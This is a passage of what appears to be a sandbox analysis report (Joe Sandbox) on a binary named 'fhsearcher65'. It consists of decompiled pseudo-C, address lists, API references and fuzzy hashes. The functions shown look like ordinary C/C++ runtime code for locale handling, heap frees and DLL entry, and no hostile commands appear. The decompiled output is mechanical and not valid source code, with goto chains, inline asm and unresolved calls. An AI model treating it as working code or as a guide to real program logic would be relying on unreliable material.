															if(_t432 != _t383 - _t424 >> 1) {
																goto L45;
															}
														}
														break;
														L45:
														_v456 = _v456 + 1;
														_t368 = _t368 + 0xc;
														__eflags = _t368 - 0x4315dc;
													} while (_t368 <= 0x4315dc);
													_t365 = _v468 + 2;
													_t274 = E00426612(_t382, _t365, 0x43166c);
													_t429 = _v464;
													_t448 = _t274;
													_pop(_t386);
													__eflags = _t448;
													if(_t448 != 0) {
														L48:
														__eflags = _v456 - 5;
														if(_v456 > 5) {
															_t387 = _v452;
															goto L54;
														} else {
															_push(_t448);
															_t277 = E0042558D( &_v276, 0x83, _t365);
															_t469 = _t467 + 0x10;
															__eflags = _t277;
															if(_t277 != 0) {
																L82:
																_push(0);
																_push(0);
																_push(0);
																_push(0);
																_push(0);
																E004138F4();
																asm("int3");
																_push(_t461);
																_t462 = _t469;
																_t280 =  *0x43d054; // 0xd71f2cec
																_v560 = _t280 ^ _t462;
																_push(_t365);
																_t370 = _v544;
																_push(_t448);
																_push(_t429);
																_t433 = _v548;
																_v1288 = _t370;
																_v1284 = E0041CF13(_t386, _t424) + 0x278;
																_t287 = E0041B997(_t370, _t424, _t433, _v540, _v540,  &_v824, 0x83,  &_v1252, 0x55,  &_v1268);
																_t471 = _t469 - 0x2e4 + 0x18;
																__eflags = _t287;
																if(_t287 == 0) {
																	L122:
																	_t288 = 0;
																	__eflags = 0;
																	goto L123;
																} else {
																	_t103 = _t370 + 2; // 0x2
																	_t452 = _t103 << 4;
																	__eflags = _t452;
																	_t290 =  &_v280;
																	_v720 = _t452;
																	_t424 =  *(_t452 + _t433);
																	_t390 = _t424;
																	while(1) {
																		_v712 = _v712 & 0x00000000;
																		__eflags =  *_t290 -  *_t390;
																		_t454 = _v720;
																		if( *_t290 !=  *_t390) {
																			break;
																		}
																		__eflags =  *_t290;
																		if( *_t290 == 0) {
																			L89:
																			_t291 = _v712;
																		} else {
																			_t459 =  *((intOrPtr*)(_t290 + 2));
																			__eflags = _t459 -  *((intOrPtr*)(_t390 + 2));
																			_v714 = _t459;
																			_t454 = _v720;
																			if(_t459 !=  *((intOrPtr*)(_t390 + 2))) {
																				break;
																			} else {
																				_t290 = _t290 + 4;
																				_t390 = _t390 + 4;
																				__eflags = _v714;
																				if(_v714 != 0) {
																					continue;
																				} else {
																					goto L89;
																				}
																			}
																		}
																		L91:
																		__eflags = _t291;
																		if(_t291 != 0) {
																			_t391 =  &_v280;
																			_t424 = _t391 + 2;
																			do {
																				_t292 =  *_t391;
																				_t391 = _t391 + 2;
																				__eflags = _t292 - _v712;
																			} while (_t292 != _v712);
																			_v716 = (_t391 - _t424 >> 1) + 1;
																			_t295 = E0041F0DF(4 + ((_t391 - _t424 >> 1) + 1) * 2);
																			_v732 = _t295;
																			__eflags = _t295;
																			if(_t295 == 0) {
																				goto L122;
																			} else {
																				_v728 =  *((intOrPtr*)(_t454 + _t433));
																				_v748 =  *(_t433 + 0xa0 + _t370 * 4);
																				_v752 =  *(_t433 + 8);
																				_t398 =  &_v280;
																				_v736 = _t295 + 4;
																				_t297 = E00421841(_t295 + 4, _v716, _t398);
																				_t472 = _t471 + 0xc;
																				__eflags = _t297;
																				if(_t297 != 0) {
																					_t298 = _v712;
																					_push(_t298);
																					_push(_t298);
																					_push(_t298);
																					_push(_t298);
																					_push(_t298);
																					E004138F4();
																					asm("int3");
																					_push(_t462);
																					_push(_t398);
																					_v1336 = _v1336 & 0x00000000;
																					_t301 = E0041EBD1(_v1324, 0x20001004,  &_v1336, 2);
																					__eflags = _t301;
																					if(_t301 == 0) {
																						L132:
																						return 0xfde9;
																					}
																					_t303 = _v20;
																					__eflags = _t303;
																					if(_t303 == 0) {
																						goto L132;
																					}
																					return _t303;
																				} else {
																					__eflags = _v280 - 0x43;
																					 *((intOrPtr*)(_t454 + _t433)) = _v736;
																					if(_v280 != 0x43) {
																						L100:
																						_t306 = E0041B6B4(_t370, _t433,  &_v708);
																						_t424 = _v712;
																					} else {
																						__eflags = _v278;
																						if(_v278 != 0) {
																							goto L100;
																						} else {
																							_t424 = _v712;
																							_t306 = _t424;
																						}
																					}
																					 *(_t433 + 0xa0 + _t370 * 4) = _t306;
																					__eflags = _t370 - 2;
																					if(_t370 != 2) {
																						__eflags = _t370 - 1;
																						if(_t370 != 1) {
																							__eflags = _t370 - 5;
																							if(_t370 == 5) {
																								 *((intOrPtr*)(_t433 + 0x14)) = _v724;
																							}
																						} else {
																							 *((intOrPtr*)(_t433 + 0x10)) = _v724;
																						}
																					} else {
																						_t458 = _v740;
																						 *(_t433 + 8) = _v724;
																						_v716 = _t458[8];
																						_t410 = _t458[9];
																						_v724 = _t410;
																						while(1) {
																							__eflags =  *(_t433 + 8) -  *(_t458 + _t424 * 8);
																							if( *(_t433 + 8) ==  *(_t458 + _t424 * 8)) {
																								break;
																							}
																							_t334 =  *(_t458 + _t424 * 8);
																							_t410 =  *(_t458 + 4 + _t424 * 8);
																							 *(_t458 + _t424 * 8) = _v716;
																							 *(_t458 + 4 + _t424 * 8) = _v724;
																							_t424 = _t424 + 1;
																							_t370 = _v744;
																							_v716 = _t334;
																							_v724 = _t410;
																							__eflags = _t424 - 5;
																							if(_t424 < 5) {
																								continue;
																							} else {
																							}
																							L108:
																							__eflags = _t424 - 5;
																							if(__eflags == 0) {
																								_t326 = E00421C25(__eflags, _v712, 1, 0x431520, 0x7f,  &_v536,  *(_t433 + 8), 1);
																								_t472 = _t472 + 0x1c;
																								__eflags = _t326;
																								if(_t326 == 0) {
																									_t411 = _v712;
																								} else {
																									_t328 = _v712;
																									do {
																										 *(_t462 + _t328 * 2 - 0x20c) =  *(_t462 + _t328 * 2 - 0x20c) & 0x000001ff;
																										_t328 = _t328 + 1;
																										__eflags = _t328 - 0x7f;
																									} while (_t328 < 0x7f);
																									_t330 = E0041100A( &_v536,  *0x43d1c4, 0xfe);
																									_t472 = _t472 + 0xc;
																									__eflags = _t330;
																									_t411 = 0 | _t330 == 0x00000000;
																								}
																								_t458[1] = _t411;
																								 *_t458 =  *(_t433 + 8);
																							}
																							 *(_t433 + 0x18) = _t458[1];
																							goto L120;
																						}
																						__eflags = _t424;
																						if(_t424 != 0) {
																							 *_t458 =  *(_t458 + _t424 * 8);
																							_t458[1] =  *(_t458 + 4 + _t424 * 8);
																							 *(_t458 + _t424 * 8) = _v716;
																							 *(_t458 + 4 + _t424 * 8) = _t410;
																						}
																						goto L108;
																					}
																					L120:
																					_t307 = _t370 * 0xc;
																					_t204 = _t307 + 0x4315a8; // 0x40b550
																					 *0x42e234(_t433);
																					_t309 =  *((intOrPtr*)( *_t204))();
																					_t402 = _v728;
																					__eflags = _t309;
																					if(_t309 == 0) {
																						__eflags = _t402 - 0x43d290;
																						if(_t402 == 0x43d290) {
																							L127:
																							_t310 = _v720;
																						} else {
																							_t457 = _t370 + _t370;
																							__eflags = _t457;
																							asm("lock xadd [eax], ecx");
																							if(_t457 != 0) {
																								goto L127;
																							} else {
																								E0041E668( *((intOrPtr*)(_t433 + 0x28 + _t457 * 8)));
																								E0041E668( *((intOrPtr*)(_t433 + 0x24 + _t457 * 8)));
																								E0041E668( *(_t433 + 0xa0 + _t370 * 4));
																								_t310 = _v720;
																								_t405 = _v712;
																								 *(_t310 + _t433) = _t405;
																								 *(_t433 + 0xa0 + _t370 * 4) = _t405;
																							}
																						}
																						_t403 = _v732;
																						 *_t403 = 1;
																						_t288 =  *(_t310 + _t433);
																						 *((intOrPtr*)(_t433 + 0x28 + (_t370 + _t370) * 8)) = _t403;
																					} else {
																						 *((intOrPtr*)(_v720 + _t433)) = _t402;
																						E0041E668( *(_t433 + 0xa0 + _t370 * 4));
																						 *(_t433 + 0xa0 + _t370 * 4) = _v748;
																						E0041E668(_v732);
																						 *(_t433 + 8) = _v752;
																						goto L122;
																					}
																					goto L123;
																				}
																			}
																		} else {
																			_t288 = _t424;
																			L123:
																			_pop(_t434);
																			_pop(_t450);
																			__eflags = _v16 ^ _t462;
																			_pop(_t371);
																			return E0040EF6F(_t288, _t371, _v16 ^ _t462, _t424, _t434, _t450);
																		}
																		goto L134;
																	}
																	asm("sbb eax, eax");
																	_t291 = _t290 | 0x00000001;
																	__eflags = _t291;
																	goto L91;
																}
															} else {
																_t335 = _t448 + _t448;
																__eflags = _t335 - 0x106;
																if(_t335 >= 0x106) {
																	E0040F0A5();
																	goto L82;
																} else {
																	 *((short*)(_t461 + _t335 - 0x10c)) = 0;
																	_t337 =  &_v276;
																	_push(_t337);
																	_push(_v456);
																	_push(_t429);
																	L83();
																	_t387 = _v452;
																	_t467 = _t469 + 0xc;
																	__eflags = _t337;
																	if(_t337 != 0) {
																		_t387 = _t387 + 1;
																		_v452 = _t387;
																	}
																	L54:
																	_t445 = _t365 + _t448 * 2;
																	_t275 =  *_t445 & 0x0000ffff;
																	_t424 = _t275;
																	__eflags = _t275;
																	if(_t275 != 0) {
																		_t445 = _t445 + 2;
																		__eflags = _t445;
																		_t424 =  *_t445 & 0x0000ffff;
																	}
																	__eflags = _t424;
																	if(_t424 != 0) {
																		continue;
																	} else {
																		__eflags = _t387;
																		if(__eflags != 0) {
																			goto L79;
																		} else {
																			break;
																		}
																		goto L80;
																	}
																}
															}
														}
													} else {
														_t338 = 0x3b;
														__eflags =  *_t365 - _t338;
														if( *_t365 != _t338) {
															break;
														} else {
															goto L48;
														}
													}
												}
											}
											goto L134;
										}
										_t259 = 0;
										goto L80;
									}
								}
							}
						}
					} else {
						__eflags = _t445;
						if(_t445 == 0) {
							_t259 =  *(_t429 + (_t259 + 2 + _t259 + 2) * 8);
						} else {
							_push(_t445);
							_push(_t259);
							_push(_t429);
							L83();
						}
						L80:
						_pop(_t430);
						_pop(_t446);
						__eflags = _v12 ^ _t461;
						_pop(_t366);
						return E0040EF6F(_t259, _t366, _v12 ^ _t461, _t424, _t430, _t446);
					}
				}
				L134:
			}

0x0041be21
0x0041be29
0x0041be2a
0x0041be33
0x0041be3b
0x0041be3d
0x0041be3f
0x0041be42
0x0041bf5f
0x0041bf62
0x0041be48
0x0041be48
0x0041be49
0x0041be4b
0x0041be4e
0x0041be51
0x0041be54
0x0041be57
0x0041be59
0x0041be5c
0x0041be61
0x0041be6f
0x0041be79
0x0041be7c
0x0041be7f
0x0041be7f
0x0041be8a
0x0041be8f
0x0041be94
0x00000000
0x0041be9a
0x0041be9d
0x0041be9d
0x0041bea0
0x0041bea2
0x0041bea5
0x0041bea7
0x0041bea7
0x0041bea7
0x0041beaa
0x0041beaa
0x0041beaa
0x0041beb0
0x00000000
0x00000000
0x0041beb5
0x0041becc
0x0041becc
0x0041beb7
0x0041beb7
0x0041bebf
0x00000000
0x0041bec1
0x0041bec1
0x0041bec4
0x0041beca
0x00000000
0x00000000
0x00000000
0x00000000
0x0041beca
0x0041bebf
0x0041bed5
0x0041bed5
0x0041beda
0x0041bedf
0x0041bee3
0x0041beef
0x0041bef2
0x0041bef5
0x0041beff
0x0041bf07
0x0041bf0f
0x00000000
0x0041bf15
0x0041bf19
0x0041bf64
0x0041bf6d
0x0041bf70
0x0041bf72
0x0041bf76
0x0041bf7a
0x0041bf7f
0x0041bf84
0x0041bf7a
0x0041bf88
0x0041bf8a
0x0041bf8c
0x0041bf90
0x0041bf91
0x0041bf96
0x0041bf9b
0x0041bf91
0x0041bf9e
0x0041bfa1
0x0041bfa4
0x0041bfa7
0x0041bfaa
0x0041bf1b
0x0041bf1e
0x0041bf21
0x0041bf23
0x0041bf27
0x0041bf2b
0x0041bf30
0x0041bf35
0x0041bf2b
0x0041bf3b
0x0041bf3d
0x0041bf42
0x0041bf47
0x0041bf4c
0x0041bf42
0x0041bf4d
0x0041bf51
0x0041bf54
0x0041bf58
0x0041bf5b
0x0041bf5b
0x00000000
0x0041bf5e
0x00000000
0x0041bf0f
0x0041bed0
0x0041bed2
0x0041bed2
0x00000000
0x0041bed2
0x0041bfb1
0x0041bfb2
0x0041bfb3
0x0041bfb4
0x0041bfb5
0x0041bfb6
0x0041bfbb
0x0041bfbf
0x0041bfc1
0x0041bfc7
0x0041bfce
0x0041bfd1
0x0041bfd4
0x0041bfd5
0x0041bfd6
0x0041bfd9
0x0041bfda
0x0041bfdd
0x0041bfe3
0x0041bfe5
0x0041c00a
0x0041c014
0x0041c01a
0x0041c01c
0x0041c022
0x0041c024
0x0041c284
0x0041c285
0x00000000
0x0041c02a
0x0041c02a
0x0041c02e
0x0041c19c
0x0041c1b9
0x0041c1be
0x0041c1c1
0x0041c1c3
0x0041c1c9
0x0041c1c9
0x0041c1cb
0x0041c1ce
0x0041c1d0
0x0041c1d6
0x0041c1d6
0x0041c1d8
0x0041c25f
0x0041c25f
0x0041c1de
0x0041c1de
0x0041c1e0
0x0041c1e6
0x0041c1e9
0x0041c1ec
0x0041c1f2
0x00000000
0x00000000
0x0041c1f4
0x0041c1f8
0x0041c221
0x0041c221
0x0041c223
0x0041c1fa
0x0041c1fa
0x0041c1fe
0x0041c202
0x0041c209
0x0041c20f
0x00000000
0x0041c211
0x0041c211
0x0041c214
0x0041c217
0x0041c21f
0x00000000
0x00000000
0x00000000
0x00000000
0x0041c21f
0x0041c20f
0x0041c22e
0x0041c22e
0x0041c230
0x0041c25e
0x0041c25e
0x00000000
0x0041c232
0x0041c232
0x0041c238
0x0041c239
0x0041c23a
0x0041c23b
0x0041c240
0x0041c246
0x0041c249
0x0041c24b
0x0041c252
0x0041c254
0x0041c256
0x0041c24d
0x0041c24d
0x0041c24e
0x00000000
0x0041c24e
0x0041c24b
0x00000000
0x0041c230
0x0041c227
0x0041c229
0x0041c22c
0x0041c22c
0x00000000
0x0041c22c
0x0041c265
0x0041c265
0x0041c266
0x0041c269
0x0041c26f
0x0041c26f
0x0041c278
0x0041c27a
0x00000000
0x0041c27c
0x0041c27c
0x0041c27e
0x00000000
0x0041c280
0x0041c280
0x0041c280
0x0041c27e
0x0041c27a
0x00000000
0x0041c034
0x0041c034
0x0041c039
0x00000000
0x0041c03f
0x0041c03f
0x0041c044
0x00000000
0x0041c04a
0x0041c04a
0x0041c050
0x0041c055
0x0041c057
0x0041c05e
0x0041c05f
0x0041c061
0x00000000
0x00000000
0x0041c067
0x0041c067
0x0041c06b
0x0041c071
0x00000000
0x0041c077
0x0041c079
0x0041c07a
0x0041c07d
0x00000000
0x0041c083
0x0041c083
0x0041c089
0x0041c08e
0x0041c098
0x0041c09c
0x0041c0a1
0x0041c0a4
0x0041c0a6
0x00000000
0x0041c0a8
0x0041c0a8
0x0041c0aa
0x0041c0ad
0x0041c0ad
0x0041c0b0
0x0041c0b3
0x0041c0b3
0x0041c0be
0x0041c0c0
0x0041c0c2
0x00000000
0x00000000
0x0041c0c2
0x00000000
0x0041c0c4
0x0041c0c4
0x0041c0ca
0x0041c0cd
0x0041c0cd
0x0041c0db
0x0041c0e4
0x0041c0e9
0x0041c0ef
0x0041c0f2
0x0041c0f3
0x0041c0f5
0x0041c103
0x0041c103
0x0041c10a
0x0041c16b
0x00000000
0x0041c10c
0x0041c10c
0x0041c11a
0x0041c11f
0x0041c122
0x0041c124
0x0041c29f
0x0041c2a1
0x0041c2a2
0x0041c2a3
0x0041c2a4
0x0041c2a5
0x0041c2a6
0x0041c2ab
0x0041c2ae
0x0041c2af
0x0041c2b7
0x0041c2be
0x0041c2c1
0x0041c2c2
0x0041c2c5
0x0041c2c9
0x0041c2ca
0x0041c2cd
0x0041c2dd
0x0041c300
0x0041c305
0x0041c308
0x0041c30a
0x0041c5c0
0x0041c5c0
0x0041c5c0
0x00000000
0x0041c310
0x0041c310
0x0041c313
0x0041c313
0x0041c316
0x0041c31c
0x0041c322
0x0041c325
0x0041c327
0x0041c32a
0x0041c331
0x0041c334
0x0041c33a
0x00000000
0x00000000
0x0041c33c
0x0041c340
0x0041c369
0x0041c369
0x0041c342
0x0041c342
0x0041c346
0x0041c34a
0x0041c351
0x0041c357
0x00000000
0x0041c359
0x0041c359
0x0041c35c
0x0041c35f
0x0041c367
0x00000000
0x00000000
0x00000000
0x00000000
0x0041c367
0x0041c357
0x0041c376
0x0041c376
0x0041c378
0x0041c381
0x0041c387
0x0041c38a
0x0041c38a
0x0041c38d
0x0041c390
0x0041c390
0x0041c3a0
0x0041c3ae
0x0041c3b3
0x0041c3ba
0x0041c3bc
0x00000000
0x0041c3c2
0x0041c3c8
0x0041c3d5
0x0041c3de
0x0041c3e4
0x0041c3f1
0x0041c3f8
0x0041c3fd
0x0041c400
0x0041c402
0x0041c640
0x0041c646
0x0041c647
0x0041c648
0x0041c649
0x0041c64a
0x0041c64b
0x0041c650
0x0041c653
0x0041c656
0x0041c657
0x0041c669
0x0041c66e
0x0041c670
0x0041c679
0x00000000
0x0041c679
0x0041c672
0x0041c675
0x0041c677
0x00000000
0x00000000
0x0041c67f
0x0041c408
0x0041c408
0x0041c416
0x0041c419
0x0041c42f
0x0041c436
0x0041c43b
0x0041c41b
0x0041c41b
0x0041c423
0x00000000
0x0041c425
0x0041c425
0x0041c42b
0x0041c42b
0x0041c423
0x0041c442
0x0041c449
0x0041c44c
0x0041c54a
0x0041c54d
0x0041c55a
0x0041c55d
0x0041c565
0x0041c565
0x0041c54f
0x0041c555
0x0041c555
0x0041c452
0x0041c452
0x0041c45e
0x0041c464
0x0041c46a
0x0041c46d
0x0041c473
0x0041c476
0x0041c479
0x00000000
0x00000000
0x0041c47b
0x0041c484
0x0041c488
0x0041c491
0x0041c495
0x0041c496
0x0041c49c
0x0041c4a2
0x0041c4a8
0x0041c4ab
0x00000000
0x00000000
0x0041c4ad
0x0041c4cc
0x0041c4cc
0x0041c4cf
0x0041c4ec
0x0041c4f1
0x0041c4f4
0x0041c4f6
0x0041c534
0x0041c4f8
0x0041c4f8
0x0041c4fe
0x0041c503
0x0041c50b
0x0041c50c
0x0041c50c
0x0041c523
0x0041c52a
0x0041c52d
0x0041c52f
0x0041c52f
0x0041c53a
0x0041c540
0x0041c540
0x0041c545
0x00000000
0x0041c545
0x0041c4af
0x0041c4b1
0x0041c4b6
0x0041c4bc
0x0041c4c5
0x0041c4c8
0x0041c4c8
0x00000000
0x0041c4b1
0x0041c568
0x0041c568
0x0041c56c
0x0041c574
0x0041c57a
0x0041c57d
0x0041c583
0x0041c585
0x0041c5d1
0x0041c5d7
0x0041c623
0x0041c623
0x0041c5d9
0x0041c5de
0x0041c5de
0x0041c5e4
0x0041c5e8
0x00000000
0x0041c5ea
0x0041c5ee
0x0041c5f7
0x0041c603
0x0041c608
0x0041c611
0x0041c617
0x0041c61a
0x0041c61a
0x0041c5e8
0x0041c629
0x0041c631
0x0041c637
0x0041c63a
0x0041c587
0x0041c58d
0x0041c597
0x0041c5a9
0x0041c5b0
0x0041c5bd
0x00000000
0x0041c5bd
0x00000000
0x0041c585
0x0041c402
0x0041c37a
0x0041c37a
0x0041c5c2
0x0041c5c5
0x0041c5c6
0x0041c5c7
0x0041c5c9
0x0041c5d0
0x0041c5d0
0x00000000
0x0041c378
0x0041c371
0x0041c373
0x0041c373
0x00000000
0x0041c373
0x0041c12a
0x0041c12a
0x0041c12d
0x0041c132
0x0041c29a
0x00000000
0x0041c138
0x0041c13a
0x0041c142
0x0041c148
0x0041c149
0x0041c14f
0x0041c150
0x0041c155
0x0041c15b
0x0041c15e
0x0041c160
0x0041c162
0x0041c163
0x0041c163
0x0041c171
0x0041c171
0x0041c174
0x0041c177
0x0041c179
0x0041c17c
0x0041c17e
0x0041c17e
0x0041c181
0x0041c181
0x0041c184
0x0041c187
0x00000000
0x0041c18d
0x0041c18d
0x0041c18f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0041c18f
0x0041c187
0x0041c132
0x0041c124
0x0041c0f7
0x0041c0f9
0x0041c0fa
0x0041c0fd
0x00000000
0x00000000
0x00000000
0x00000000
0x0041c0fd
0x0041c0f5
0x0041c07d
0x00000000
0x0041c071
0x0041c195
0x00000000
0x0041c195
0x0041c044
0x0041c039
0x0041c02e
0x0041bfe7
0x0041bfe7
0x0041bfe9
0x0041c000
0x0041bfeb
0x0041bfeb
0x0041bfec
0x0041bfed
0x0041bfee
0x0041bff3
0x0041c28b
0x0041c28e
0x0041c28f
0x0041c290
0x0041c292
0x0041c299
0x0041c299
0x0041bfe5
0x00000000

APIs

Part of subcall function 0041F0DF: RtlAllocateHeap.NTDLL(00000000,?,?,?,0041034B,?,?,?,?,?,00403757,?,?,?), ref: 0041F111

_free.LIBCMT ref: 0041BF30
_free.LIBCMT ref: 0041BF47
_free.LIBCMT ref: 0041BF64
_free.LIBCMT ref: 0041BF7F
_free.LIBCMT ref: 0041BF96

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 5dd848091f1428b625a8d64d246dbf28e2f69e78db348687bc3385fb41865542
Instruction ID: b8c9a282be570273bced05ca3da0955dfe68bdff81a90563a5d94bc34b4a4fd8
Opcode Fuzzy Hash: 5dd848091f1428b625a8d64d246dbf28e2f69e78db348687bc3385fb41865542
Instruction Fuzzy Hash: AA51B371A00704AFDB21DF6ACC41BAAB7F4EF58724F54456EE809D7250E739D981CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEA0 Relevance: 7.6, APIs: 5, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040CEA0(intOrPtr __edx, intOrPtr* _a4) {
				char _v8;
				char _v16;
				signed int _v20;
				void* _v24;
				intOrPtr* _v28;
				char _v32;
				char _v84;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t36;
				intOrPtr _t43;
				void* _t48;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				void* _t57;
				intOrPtr _t59;
				intOrPtr _t66;
				signed int _t74;
				void* _t75;
				intOrPtr* _t77;
				intOrPtr* _t78;
				void* _t79;
				signed int _t80;
				void* _t86;

				_t72 = __edx;
				_push(0xffffffff);
				_push(0x42d0c4);
				_push( *[fs:0x0]);
				_t35 =  *0x43d054; // 0xd71f2cec
				_t36 = _t35 ^ _t80;
				_v20 = _t36;
				_push(_t36);
				 *[fs:0x0] =  &_v16;
				_t77 = _a4;
				_v28 = _t77;
				E0040E453( &_v32, 0);
				_v8 = 0;
				_t74 =  *0x450ee4; // 0x0
				_t56 =  *0x450d0c; // 0x0
				if(_t74 == 0) {
					E0040E453( &_v24, _t74);
					_t86 =  *0x450ee4 - _t74; // 0x0
					if(_t86 == 0) {
						_t53 =  *0x450098; // 0x1
						_t54 = _t53 + 1;
						 *0x450098 = _t54;
						 *0x450ee4 = _t54;
					}
					E0040E4AB( &_v24);
					_t74 =  *0x450ee4; // 0x0
				}
				_t59 =  *((intOrPtr*)(_t77 + 4));
				if(_t74 >=  *((intOrPtr*)(_t59 + 0xc))) {
					_t78 = 0;
					__eflags = 0;
					L8:
					if( *((char*)(_t59 + 0x14)) == 0) {
						L11:
						if(_t78 != 0) {
							L19:
							E0040E4AB( &_v32);
							 *[fs:0x0] = _v16;
							_pop(_t75);
							_pop(_t79);
							_pop(_t57);
							return E0040EF6F(_t78, _t57, _v20 ^ _t80, _t72, _t75, _t79);
						}
						L12:
						if(_t56 == 0) {
							_t78 = E0040F180(_t74, _t78, __eflags, 8);
							_v24 = _t78;
							_v8 = 1;
							_t66 =  *((intOrPtr*)(_v28 + 4));
							__eflags = _t66;
							if(_t66 == 0) {
								_t43 = 0x4399f7;
							} else {
								_t43 =  *((intOrPtr*)(_t66 + 0x18));
								__eflags = _t43;
								if(_t43 == 0) {
									_t24 = _t66 + 0x1c; // 0x1c
									_t43 = _t24;
								}
							}
							E00403F10(_t43);
							 *((intOrPtr*)(_t78 + 4)) = 0;
							 *_t78 = 0x42ef14;
							E00403FC0( &_v84);
							_v28 = _t78;
							_v8 = 2;
							E0040E604(__eflags, _t78);
							_t72 =  *_t78;
							 *((intOrPtr*)( *_t78 + 4))();
							 *0x450d0c = _t78;
						} else {
							_t78 = _t56;
						}
						goto L19;
					}
					_t48 = E0040E630();
					if(_t74 >=  *((intOrPtr*)(_t48 + 0xc))) {
						goto L12;
					}
					_t78 =  *((intOrPtr*)( *((intOrPtr*)(_t48 + 8)) + _t74 * 4));
					goto L11;
				}
				_t78 =  *((intOrPtr*)( *((intOrPtr*)(_t59 + 8)) + _t74 * 4));
				if(_t78 != 0) {
					goto L19;
				}
				goto L8;
			}

0x0040cea0
0x0040cea3
0x0040cea5
0x0040ceb0
0x0040ceb4
0x0040ceb9
0x0040cebb
0x0040cec1
0x0040cec5
0x0040cecb
0x0040ced3
0x0040ced6
0x0040cedb
0x0040cee2
0x0040cee8
0x0040cef0
0x0040cef6
0x0040cefb
0x0040cf01
0x0040cf03
0x0040cf08
0x0040cf09
0x0040cf0e
0x0040cf0e
0x0040cf16
0x0040cf1b
0x0040cf1b
0x0040cf21
0x0040cf27
0x0040cf39
0x0040cf39
0x0040cf3b
0x0040cf3f
0x0040cf51
0x0040cf53
0x0040cfc6
0x0040cfc9
0x0040cfd3
0x0040cfdb
0x0040cfdc
0x0040cfdd
0x0040cfeb
0x0040cfeb
0x0040cf55
0x0040cf57
0x0040cf64
0x0040cf69
0x0040cf6c
0x0040cf73
0x0040cf76
0x0040cf78
0x0040cf86
0x0040cf7a
0x0040cf7a
0x0040cf7d
0x0040cf7f
0x0040cf81
0x0040cf81
0x0040cf81
0x0040cf7f
0x0040cf8f
0x0040cf97
0x0040cf9e
0x0040cfa4
0x0040cfa9
0x0040cfad
0x0040cfb1
0x0040cfb6
0x0040cfbd
0x0040cfc0
0x0040cf59
0x0040cf59
0x0040cf59
0x00000000
0x0040cf57
0x0040cf41
0x0040cf49
0x00000000
0x00000000
0x0040cf4e
0x00000000
0x0040cf4e
0x0040cf2c
0x0040cf31
0x00000000
0x00000000
0x00000000

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0040CED6
std::_Lockit::_Lockit.LIBCPMT ref: 0040CEF6
std::_Lockit::~_Lockit.LIBCPMT ref: 0040CF16
std::_Facet_Register.LIBCPMT ref: 0040CFB1
std::_Lockit::~_Lockit.LIBCPMT ref: 0040CFC9

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 30615ae89c7401b52d921c87def58ad16a749691a2da32cb60f513c4b7127645
Instruction ID: 5621b8b63a78a44d8e967790343d2e59f49b5bf10f4e5024a74a8c62aa51765c
Opcode Fuzzy Hash: 30615ae89c7401b52d921c87def58ad16a749691a2da32cb60f513c4b7127645
Instruction Fuzzy Hash: 4741BE71A00216CBCB10DF55D981BAEB7B5EB04714F10453EE805AB3C2DB38AD05CBCA

Uniqueness

Uniqueness Score: -1.00%

Function 10003486 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E10003486(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t24;
				signed int _t26;
				signed int _t29;
				signed int _t35;
				void* _t37;
				void* _t40;
				signed int _t42;
				signed int _t45;
				void* _t47;
				void* _t52;

				_t40 = __edx;
				_push(0xc);
				_push(0x10015758);
				E10003C50(__ebx, __edi, __esi);
				_t42 =  *(_t47 + 0xc);
				if(_t42 != 0) {
					L3:
					 *(_t47 - 4) =  *(_t47 - 4) & 0x00000000;
					__eflags = _t42 - 1;
					if(_t42 == 1) {
						L6:
						_t35 =  *(_t47 + 0x10);
						_t45 = E10003591( *((intOrPtr*)(_t47 + 8)), _t42, _t35);
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t45;
						if(_t45 == 0) {
							L16:
							 *(_t47 - 4) = 0xfffffffe;
							_t24 = _t45;
							L17:
							 *[fs:0x0] =  *((intOrPtr*)(_t47 - 0x10));
							return _t24;
						}
						_t45 = E1000327C(_t35, _t37, _t40, _t42, _t45,  *((intOrPtr*)(_t47 + 8)), _t42, _t35);
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t45;
						if(_t45 == 0) {
							goto L16;
						}
						L8:
						_push(_t35);
						_push(_t42);
						_push( *((intOrPtr*)(_t47 + 8)));
						_t26 = E10001000();
						_t45 = _t26;
						 *(_t47 - 0x1c) = _t45;
						__eflags = _t42 - 1;
						if(_t42 == 1) {
							__eflags = _t45;
							if(_t45 == 0) {
								_push(_t35);
								_push(_t26);
								_push( *((intOrPtr*)(_t47 + 8)));
								_t29 = E10001000();
								__eflags = _t35;
								_t14 = _t35 != 0;
								__eflags = _t14;
								_push((_t29 & 0xffffff00 | _t14) & 0x000000ff);
								E100033D6(_t35, _t40, _t42, _t45, _t14);
								_pop(_t37);
								E10003591( *((intOrPtr*)(_t47 + 8)), _t45, _t35);
							}
						}
						__eflags = _t42;
						if(_t42 == 0) {
							L13:
							_t45 = E1000327C(_t35, _t37, _t40, _t42, _t45,  *((intOrPtr*)(_t47 + 8)), _t42, _t35);
							 *(_t47 - 0x1c) = _t45;
							__eflags = _t45;
							if(_t45 != 0) {
								_t45 = E10003591( *((intOrPtr*)(_t47 + 8)), _t42, _t35);
								 *(_t47 - 0x1c) = _t45;
							}
							goto L16;
						} else {
